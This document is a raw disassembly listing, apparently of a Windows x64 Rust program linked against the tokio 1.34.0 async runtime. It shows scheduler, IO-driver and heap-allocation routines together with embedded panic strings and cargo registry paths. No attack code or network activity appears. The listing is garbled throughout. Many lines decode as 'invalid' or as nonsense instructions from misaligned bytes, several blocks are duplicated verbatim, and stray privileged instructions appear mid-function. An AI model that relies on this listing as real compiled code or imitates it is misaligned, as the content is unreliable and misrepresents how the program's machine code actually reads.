add byte [rax - 0x39], cl
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x210], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x230], 0
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x250], 0
mov qword [rsp + 0x260], 0
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x2a0], 0
mov qword [rsp + 0x2b0], 0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop dword cs:[rax + rax]
test byte [0x18d09bfcd], dh
mov edx, ecx
add eax, dword [rax]
add byte [rcx + rdi - 0x40], cl
invalid
sub byte [rax + rax], al
add byte [rcx - 0x77], cl
or byte [rcx - 0x39], cl
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax + 0x4c], 0x89
adc byte [rcx + rcx*4 + 0x56], cl
sub byte [rax - 0x7d], cl
jle 0x14009c06b
add byte [rbp - 0x7c], dh
rol dword [rax], 1
xor byte [rax - 0x7d], cl
stc
and dword [rdi], ecx
adc esi, 0
add byte [rax], al
mov qword [rsi + 0x18], 0xffffffffffffffff
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x14009c840
dec rax
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 0x20]
shl rax, 4
mov rdx, qword [rcx + rax]
mov rcx, qword [rcx + rax + 8]
call qword [rdx + 8]
inc qword [rsi + 0x18]
je 0x14009c800
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulerdefer.rs
call fcn.1400aa370
ud2
mov qword [rsi + 0x18], 0
cmp qword [rsi + 8], 0
jne 0x14009c938
mov qword [rsi + 8], 0xffffffffffffffff
mov rdi, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
test rdi, rdi
je 0x14009c946
mov qword [rsi + 8], 0
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmm2, xmmword [rsp + 0x40]
movups xmm3, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm3
movaps xmmword [rsp + 0x80], xmm2
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
cmp dword [rdi], 2
je 0x14009c8b3
mov rcx, rdi
call fcn.140098b40
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movaps xmm3, xmmword [rsp + 0x90]
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x30], ebx
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x30], ebx
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov rax, rdi
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
cmp qword [rdi], 0
je 0x14009c960
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call fcn.14009b450
cmp qword [rsi + 0x18], 0
je 0x14009c800
jmp 0x14009c832
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1400aa370
ud2
lea rcx, str.core_missing
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.1400aa4d0
ud2
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
mov edx, 0x68
call fcn.1400aa4d0
ud2
add al, byte [rax]
add byte [rax], al
adc eax, 0x13577
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14009ceef
xor eax, eax
movzx ecx, byte [rsi + 8]
test cl, cl
jne 0x14009cefe
mov ecx, dword [rsi + 0xc]
mov edi, dword [rsi + 0x10]
mov ebp, ecx
shl ebp, 0x11
xor ebp, ecx
mov ecx, edi
shr ecx, 0x10
xor ecx, edi
xor ecx, ebp
shr ebp, 7
xor ebp, ecx
mov ecx, edi
shl ecx, 0x11
xor ecx, edi
mov ebx, ecx
shr ebx, 7
mov edx, ebp
shr edx, 0x10
xor ebx, ecx
xor ebx, ebp
xor ebx, edx
mov dword [rsi + 0xc], ebp
mov dword [rsi + 0x10], ebx
test al, al
jne 0x14009ced5
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14009cf32
add ebx, ebp
add edi, ebp
mov rcx, rsi
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov eax, edi
mov edx, ebx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
call fcn.1400ae5e0
xor al, 1
movzx ecx, byte [rsi + 8]
test cl, cl
je 0x14009ce8a
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
lea rax, [0x1400ee318]
mov qword [rsp + 0x20], rax
lea rcx, str.RNG_seed_generator_is_internally_corruptC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcutil_rand_rt.rs
lea r9, [0x1400eb7d0]
lea r8, [rsp + 0x28]
mov edx, 0x28
call fcn.1400aa430
ud2
call fcn.1400ae5e0
add dword [rax], eax
test al, al
jne 0x14009ced5
mov byte [rsi + 8], 1
jmp 0x14009ced5
ror dword [r8 - 0x7d], 1
cli
add eax, 0x4bf
add byte [rax + 0xf], cl
cli
xor edx, edx
mov rcx, rdi
shr rcx, 0x3c
sete dl
lea r8, [rdi*8]
shl rdx, 3
test rax, rax
je 0x14009cfb7
mov rcx, qword [rsi]
shl rax, 3
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
jmp 0x14009cfc0
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
sub al, ch
ror dword [rax - 0x7cb80000], 1
jl 0x14009cff7
add byte [rax - 0x75], cl
and al, 0x48
sub al, ch
ror dword [rax - 0x7cb80000], 1
jl 0x14009cff7
add byte [rax - 0x75], cl
and al, 0x48
je 0x14009cff7
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14009cffe
test rcx, rcx
jne 0x14009d005
call fcn.1400402a0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a9e00
ud2
pop rsi
pop r15
jmp fcn.1400ab5f0
add dword [rcx], esi
sal al, 0xf
mov al, 0x4e
and byte [rbp + 0x24], dh
cmp byte [rsi + 0x50], 0
je 0x14009d0f5
mov ebx, 8
xor r14d, r14d
xor edi, edi
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0x20], cl
je 0x14009d1e9
jmp 0x14009d24b
mov byte [rsi + 0x50], 1
mov rdi, qword [rsi + 0x28]
mov rbx, qword [rsi + 0x38]
mov qword [rsi + 0x38], 0
test rbx, rbx
je 0x14009d13d
xor r14d, r14d
jmp 0x14009d128
nop word cs:[rax + rax]
inc r14
cmp rbx, r14
je 0x14009d13d
mov rax, qword [rdi + r14*8]
lock dec qword [rax]
jne 0x14009d120
out dx, al
out dx, al
mov rcx, qword [rdi + r14*8]
call fcn.140098440
mov bl, 0xff
invalid
jmp 0x14009d120
mov bl, 0xff
invalid
mov qword [rsp + 0x28], 8
mov qword [rsp + 0x30], 0
mov r14, qword [rsi + 0x48]
mov qword [rsp + 0x38], 0
test r14, r14
je 0x14009d236
lea r15, [rsi + 0x40]
mov eax, 8
add byte [rax], al
add byte [rcx], dh
dec dword [rdi]
push rdi
test byte [rax - 0x73], 0x5c
and al, 0x28
add byte [rax], al
add byte [rcx], dh
dec dword [rdi]
push rdi
test byte [rax - 0x73], 0x5c
and al, 0x28
jmp 0x14009d198
add r14, 0xffffffffffffff80
add esi, 0xffffff80
mov qword [rax + rdi*8], r14
inc rdi
mov qword [rsp + 0x38], rdi
mov r14, r12
test r12, r12
je 0x14009d1d4
mov r12, qword [r14]
mov qword [rsi + 0x48], r12
lea rcx, [r12 + 8]
test r12, r12
cmove rcx, r15
mov qword [rcx], 0
movups xmmword [r14], xmm6
cmp rdi, qword [rsp + 0x30]
jne 0x14009d180
mov rcx, rbx
mov rdx, rdi
call fcn.14009cf50
std
invalid
dec dword [rax - 0x75]
and al, 0x28
mov rdi, qword [rsp + 0x38]
jmp 0x14009d180
std
invalid
mov rbx, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0x20], cl
jne 0x14009d24b
test rdi, rdi
je 0x14009d25c
shl rdi, 3
xor r15d, r15d
mov r12d, 0x80000000
jmp 0x14009d209
add r15, 8
cmp rdi, r15
je 0x14009d25c
mov rsi, qword [rbx + r15]
lea rcx, [rsi + 0x80]
lock or qword [rsi + 0x90], r12
or qword [rsi + 0x90], r12
or qword [rsi + 0x90], r12
mov edx, 0x2f
call case.0x140083cda.587
lock dec qword [rsi]
jne 0x14009d200
mov rcx, rsi
call fcn.140098440
jmp 0x14009d200
mov ebx, 8
xor edi, edi
xor r14d, r14d
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0x20], cl
je 0x14009d1e9
add rsi, 0x20
mov rcx, rsi
call fcn.1400ab9b0
test rdi, rdi
jne 0x14009d1ee
test r14, r14
je 0x14009d286
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call fcn.140097cb0
mov rax, qword [rsi + 8]
jmp 0x14009d329
mov qword [rsi + 0x10], rbx
inc rax
mov qword [rsi + 8], rax
mov rax, qword [rsi]
invalid
mov edx, 0x120
invalid
add rdx, qword [rax + 0x10]
cmp edi, 0x3b9aca00
jne 0x14009d3ab
test dword [rcx + rax], edx
add byte [rax], al
lea rcx, [rdi + 0x18]
cmp qword [rdi + 0x10], 0
je 0x14009d4a7
cmp byte [rdi + 0x48], 2
jne 0x14009d4b4
mov rcx, qword [rcx]
add rcx, 0x10
call fcn.14009ad80
jmp 0x14009d4c9
pop rsi
and byte [rbp + 0x31], al
jmp qword [rsi + 0xf]
invalid
mov r9d, 0x3b9aca00
call fcn.14009b000
jmp 0x14009d4c9
cmp qword [rdx], 0
je 0x14009d7b0
mov r9d, 0x3b9aca00
call fcn.14009b450
xor eax, eax
xchg qword [r14 + 0x18], rax
mov rcx, rax
and rcx, 0xfffffffffffffffe
cmp rcx, 2
add cl, byte [rdi]
test dword [rdx], edx
add al, byte [rax]
invalid
add cl, byte [rdi]
test dword [rdx], edx
add al, byte [rax]
add byte [rcx], dh
rol byte [rsi - 0x7cb7afb9], 0x7e
sbb byte [rax], al
xor eax, eax
xchg byte [rdi + 0x50], al
cmp qword [rsi + 0x18], 0
jne 0x14009d522
nop dword [rax]
mov qword [rsi + 0x18], 0xffffffffffffffff
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x14009d530
dec rax
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 0x20]
shl rax, 4
mov rdx, qword [rcx + rax]
add dword [rax - 0x75], ecx
add qword [rax], r9
add dword [rax - 0x75], ecx
add qword [rax], r9
call qword [rdx + 8]
inc qword [rsi + 0x18]
je 0x14009d4f0
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulerdefer.rs
call fcn.1400aa370
ud2
invalid
or ecx, dword [rax - 0x39]
mov qword [rsi + 0x18], 0
sbb byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
jle 0x14009d544
cmp qword [rsi + 8], 0
jne 0x14009d632
add byte [rdi], cl
test edi, ebp
add byte [rax], al
add byte [rax - 0x39], cl
or dil, r15b
invalid
invalid
mov qword [rsi + 8], 0xffffffffffffffff
mov dword [rsi + 8], 0xffffffff
mov rdi, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
add byte [rax], al
add byte [rax - 0x7b], cl
dec dword [rdi]
test al, ah
add byte [rax], al
invalid
adc byte [rax - 0x39], cl
adc byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
dec dword [rdi]
test al, ah
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rax], r8b
add byte [rax], al
add byte [rax], al
mov rax, qword [rdi + 8]
test rax, rax
je 0x14009d580
lock dec qword [rax]
jne 0x14009d580
mov qword [rsi + 8], 0
mov rax, qword [rdi + 8]
test rax, rax
je 0x14009d580
lea rcx, [rdi + 8]
call fcn.140097c60
mov qword [rdi + 8], r14
cmp byte [rdi + 0x49], 0
jne 0x14009d5b5
mov rax, qword [rdi + 0x18]
mov rcx, qword [rax + 0x18]
mov eax, dword [rax + 0x20]
sub eax, ecx
cmp qword [rdi], 1
sbb rax, 0xffffffffffffffff
cmp rax, 2
jb 0x14009d5b5
mov rax, rdi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400aa370
ud2
lea rcx, str.core_missing
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0xc
call fcn.1400aa4d0
ud2
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [fcn.140041690]
mov qword [rsp + 0x28], rax
lea rax, str.inconsistent_park_timeout_state:
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.1400a9ee0
ud2
push rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.1400a9ee0
ud2
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
or eax, 0x4ec91
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
lea eax, [0x1400ed010]
mov edx, 0x68
call fcn.1400aa4d0
ud2
add dword [rax], eax
add byte [rax], al
xorps xmm6, xmm6
lea r15, [0x1400979e0]
jmp 0x14009d93e
mov rcx, rbx
call fcn.140097cb0
invalid
dec dword [rax - 0x75]
invalid
invalid
invalid
mov qword [rdi + 0x10], rsi
inc rax
mov qword [rdi + 8], rax
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax]
inc r13
cmp qword [rdi + 8], 0
jne 0x14009dbee
mov rsi, qword [rdi + 0x10]
movups xmmword [rdi + 8], xmm6
test rsi, rsi
je 0x14009da0e
mov r14, qword [rsi]
mov qword [rsi], 0
test r14, r14
je 0x14009da12
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
cmp eax, 1
je 0x14009d9b1
test eax, eax
jne 0x14009d9da
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov ecx, 0x48650005
mov ecx, dword [0x58]
mov r12, qword [rcx + rax*8]
lea rcx, [r12 + 0x118]
mov rdx, r15
call fcn.14007a620
mov byte [r12 + 0x168], 1
and al, 0x68
add dword [rax], eax
add byte [rcx], al
and al, 0x68
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x164], 0
invalid
je 0x14009d9da
add byte [rbp + rcx - 0x80], dh
mov eax, 0x165
add dword [rax], eax
add byte [rax], al
je 0x14009dab6
cmp r13, 3
jb 0x14009d9e4
cmp byte [rax + 0x165], 0
add dword [rax], eax
add byte [rax], al
je 0x14009dab6
cmp r13, 3
jb 0x14009d9e4
mov byte [rsi + 0x48], 0
cmp qword [rdi + 8], 0
jne 0x14009dbfc
mov qword [rdi + 8], 0xffffffffffffffff
cmp qword [rdi + 0x10], 0
jne 0x14009d910
mov rax, 0xffffffffffffffff
jmp case.0x140098bd3.366
xor esi, esi
jmp 0x14009da22
mov rax, qword [rdi]
mov rax, qword [rax + 0x10]
movzx eax, byte [rax + 0x5c]
xor al, 1
mov byte [rsi + 0x48], al
cmp bpl, 2
je 0x14009da9d
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x168]
cmp eax, 1
je 0x14009da78
test eax, eax
jne 0x14009da9d
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x118]
lea rdx, [0x1400979e0]
call fcn.14007a620
mov byte [rdi + 0x168], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x164], bpl
movzx ecx, byte [rsp + 0x2f]
mov byte [rax + 0x165], cl
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [rsi + 0x18]
mov rax, qword [rdi]
mov rdi, qword [rax + 0x10]
lea r13, [rdi + 0x10]
mov r15, qword [rsi + 0x18]
nop dword [rax]
mov rax, qword [r15 + 0x18]
mov r8, rax
shr r8, 0x20
mov r15, qword [rbx]
mov r9d, dword [r15 + 0x20]
mov ecx, r9d
sub ecx, r8d
cmp ecx, 0x100
jb 0x14009db12
cmp r8d, eax
jne 0x14009db2a
mov qword [rsp + 0x20], r13
mov rcx, rbx
mov rdx, r14
call fcn.14009df70
add byte [rcx - 0x77], cl
invalid
test rax, rax
jne 0x14009dad0
add byte [rcx - 0x77], cl
invalid
jmp 0x14009da22
movzx eax, r9b
mov rcx, qword [r15 + 0x10]
mov qword [rcx + rax*8], r14
inc r9d
mov dword [r15 + 0x20], r9d
jmp 0x14009da22
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0xc8], cl
jne 0x14009db7f
cmp byte [rdi + 0xf8], 0
je 0x14009db94
mov rax, 0xffffffffffffffc0
lock xadd qword [r14], rax
cmp rax, 0x3f
jbe 0x14009dc18
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14009db6b
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax + 0x10]
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0xc8], cl
je 0x14009da22
jmp 0x14009dbda
lea rcx, [rdi + 0xc8]
call fcn.1400abd20
cmp byte [rdi + 0xf8], 0
jne 0x14009db41
lea rax, [rdi + 0xe8]
mov rcx, qword [rdi + 0xb0]
mov rdx, qword [rdi + 0xf0]
lea r8, [rdx + 8]
test rdx, rdx
cmove r8, rax
mov qword [r8], r14
mov qword [rdi + 0xf0], r14
inc rcx
mov qword [rdi + 0xb0], rcx
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0xc8], cl
cmpxchg byte [rdi + 0xc8], cl
cmpxchg byte [rdi + 0xc8], cl
je 0x14009da22
add rdi, 0xc8
mov rcx, rdi
call fcn.1400ab9b0
jmp 0x14009da22
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400aa370
ud2
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400aa370
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x4f00f
call fcn.1400aa370
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1400eda70]
mov edx, 0x27
call fcn.1400aa0a0
ud2
cmp rax, qword [rcx + 0xb0]
jae 0x14009dd5a
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0xb8], cl
jne 0x14009dd2d
mfence
mov rax, qword [rsi + 0xa8]
test ax, ax
jne 0x14009dd4c
shr rax, 0x10
cmp rax, qword [rsi + 0xb0]
jae 0x14009dd4c
lock add qword [rsi + 0xa8], 0x10001
mov rax, qword [rsi + 0xd0]
test rax, rax
je 0x14009dd1b
lea rcx, [rax - 1]
mov qword [rsi + 0xd0], rcx
mov rcx, qword [rsi + 0xc0]
mov rdi, qword [rcx + rax*8 - 8]
mov ebx, 1
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0xb8], cl
jne 0x14009dd62
test rbx, rbx
je 0x14009dd5a
mov rdx, qword [rsi + 0x58]
cmp rdi, rdx
jae 0x14009dd79
mov rax, qword [rsi + 0x50]
shl rdi, 4
add rsi, 0x110
mov rcx, qword [rax + rdi + 8]
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.14009de80
xor ebx, ebx
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0xb8], cl
je 0x14009dce6
jmp 0x14009dd62
lea rcx, [rsi + 0xb8]
call fcn.1400abd20
mfence
mov rax, qword [rsi + 0xa8]
test ax, ax
je 0x14009dc93
xor ebx, ebx
mov al, 1
lock cmpxchg byte [rsi + 0xb8], bl
jne 0x14009dd62
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rcx, [rsi + 0xb8]
call fcn.1400ab9b0
test rbx, rbx
jne 0x14009dceb
jmp 0x14009dd5a
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdi
call fcn.1400a9fa0
ud2
and byte [rax - 0x75], cl
xor dword [rax + 0x75000879], eax
cmovs ecx, dword [rbx + 0x5b0ab05]
add byte [rax - 0x2f], cl
loopne 0x14009e231
test eax, eax
jne 0x14009e1fc
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
call fcn.1400ae5e0
test al, al
jne 0x14009e1ed
mov byte [rsi + 8], 1
jmp 0x14009e1ed
int1
mov rdi, rax
call rax
test al, al
je 0x14009e244
mov al, 1
add rsp, 0x28
pop rdi
pop rsi
ret
lea rdx, [0x1400d8aef]
mov r8d, 7
mov rcx, rsi
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
mov rax, qword [rsi + 0x38]
test rax, rax
je 0x14009e338
movzx ecx, word [rsi + 0x30]
mov rdi, qword [rsi + 0x18]
test cx, cx
jne 0x14009e2c5
mov rdx, qword [rsi + 0x20]
nop
and byte [rsi - 0x70], ah
movdqa xmm0, xmmword [rdx]
pmovmskb ecx, xmm0
add rdi, 0xfffffffffffffe00
add rdx, 0x10
cmp ecx, 0xffff
je 0x14009e2a0
not ecx
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x18], rdi
lea edx, [rcx - 1]
and edx, ecx
mov word [rsi + 0x30], dx
dec rax
mov qword [rsi + 0x38], rax
test rdi, rdi
invalid
je 0x14009e338
push qword [rsi + rbx*2 - 0xd]
bsf eax, ecx
tzcnt eax, ecx
shl rax, 5
sub rdi, rax
mov rcx, qword [rdi - 8]
call rbx
mov rax, qword [rdi - 0x18]
lock dec qword [rax]
je 0x14009e310
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne 0x14009e280
jmp 0x14009e327
mov rcx, qword [rdi - 0x18]
call fcn.14007a790
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne 0x14009e280
add rdi, 0xfffffffffffffff0
mov rcx, rdi
call fcn.140098190
invalid
invalid
jmp 0x14009e280
invalid
mov rax, qword [rsi]
test rax, rax
je 0x14009e36c
cmp qword [rsi + 8], 0
je 0x14009e36c
mov r8, qword [rsi + 0x10]
cmp rax, 0x11
jb 0x14009e355
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
ret 0xc149
or eax, 0x5ad52
test rcx, rcx
jne 0x14009e4c0
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009e500
mov r8d, 0x14
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009e500
adc dword [rax], eax
mov dword [rax + 0x10], 0x72656b72
mov qword [rsi], rax
mov qword [rsi + 8], 0x14
mov qword [rsi + 0x10], 0x14
mov rax, rsi
add rsp, 0x20
pop rsi
ret
ror dword [rax - 0x77], cl
invalid
and byte [rbp + rax - 0x367ab800], ch
jne 0x14009e5f6
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eb2a
mov rcx, rax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
mov dword [0x1400f91f8], eax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009eb2a
invalid
invalid
invalid
add byte [rax], al
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], 0
mov byte [rax + 0x28], 0
mov qword [rax + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rax + 0x38], xmm0
movups xmmword [rax + 0x41], xmm0
mov qword [rax + 0x58], 8
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x69], xmm0
lock inc qword [rdi]
jle 0x14009eb26
lock inc qword [r14]
jle 0x14009eb26
leave
jne case.0x140083ded.611
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eb5d
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x14009eb5d
mov r12d, 0x10
mov rcx, r15
mov ecx, edi
mov ecx, edi
cmp r13, 2
jae 0x14009e7ac
jmp 0x14009e85c
stosd dword [rdi], eax
add eax, 0xc9854800
jne 0x14009e714
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eb6c
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009eb6c
mov r15, rax
mov qword [rax], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 8], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
mov byte [rax + 0x20], 0
lock inc qword [rax]
jle 0x14009eb26
mov ss, esp
add eax, dword [rax]
invalid
mov ss, esp
add eax, dword [rax]
add byte [rbp + 0x31], al
test byte [rcx - 0x50], 2
xor r14d, r14d
mov r8b, 2
mov rdi, r15
jmp 0x14009e901
lea rdx, [r13 - 1]
lea r9, [r13 - 2]
mov eax, edx
and eax, 7
mov r8, r15
cmp r9, 7
jb 0x14009e837
jmp 0x14009e8a3
test eax, eax
je 0x14009eb5d
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009e8d7
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eb2a
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009eb2a
mov rdx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x59], xmm0
movaps xmmword [rsp + 0x50], xmm0
xor r8d, r8d
movups xmm0, xmmword [rsp + 0x59]
movups xmmword [rsp + 0x79], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x70], xmm0
cmp byte [rbx + 9], 0
je 0x14009ea44
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x2c], r8d
mov qword [rsp + 0x48], rdx
